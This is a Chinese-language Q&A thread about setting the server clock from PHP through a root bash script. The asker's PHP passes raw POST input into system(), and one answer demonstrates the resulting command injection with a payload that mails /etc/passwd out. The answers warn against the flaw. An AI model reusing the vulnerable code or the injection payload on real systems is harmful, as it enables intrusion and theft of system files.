我需要通过运行 php 调用的 bash 脚本来更改服务器日期。当我从 shell 调用 bash 脚本时,它可以工作,但如果我通过 php 调用它,则它不起作用。bash 脚本以 root 身份运行。
php脚本代码:
<?php
$time = $_POST['input_time'];
$command = "/home/tutul/bin/timetest.sh";
$output=system("$command $time");
echo "$output";
?>
bash 脚本代码:
#! /bin/sh
date $1
hwclock --systohc --utc
我在这里做错了什么?
我尝试以 root 身份登录后在本地机器上运行它,所以我猜该脚本是以 root 身份调用的?
答案1
首先,我假设您意识到 PHP 脚本容易受到命令注入的影响,对吗?例如,如果我使用“”向脚本发送 POST,input_time=whocares%3Bmail+me%40gmail.com+%3C+%2Fetc%2Fpasswd
那么我的收件箱中就会收到一份不错的密码文件。
其次,设置系统时间需要 root 权限。如果您调用的是二进制可执行文件,则可以将其设为 SETUID ( chmod u+s $program; chown root $program
)。幸运的是,Linux 不尊重脚本上的 SETUID 位。如果您绝对坚持使用这种方法,一种解决方法是编写一个C 包装器以 root 身份调用您的脚本。包装器将为 SETUID root 并调用您的脚本。如果您这样做,请在将输入传递给脚本之前,请务必对其进行清理!
编辑:
答案2
如果您以 root 身份运行脚本,它将以 root 用户身份运行,除非您使用某些命令来改变这一点。
您需要在 date 命令中添加 --set 或 -s 来实际更改时间。
话虽如此,你确定你真的想这样做吗?你在做什么或试图完成什么?总的来说,这对我来说似乎不是最好的主意……除非你正在为路由器或类似的东西制作一个 Web 界面。
更好的方法是使用 NTPD 来保持系统时间的准确性,然后让 Web 应用程序根据该值进行调整。
答案3
您说它无法在 PHP 中运行 - 您是以 root 身份从命令行运行 PHP 脚本还是通过 Web 界面运行?当您通过 Web 浏览器访问 PHP 脚本时,该命令将以 Web 服务器正在使用的用户 ID 运行。通常这不是 root。
您没有提到脚本是否是 setuid,但如果不是,那么它可能以用户“apache”或“www-user”或“nobody”或类似用户身份运行。您可以让 shell 脚本设置用户权限,但从安全角度来看,这通常不是一个好主意。当然,以 root 身份运行 Web 服务器也是如此。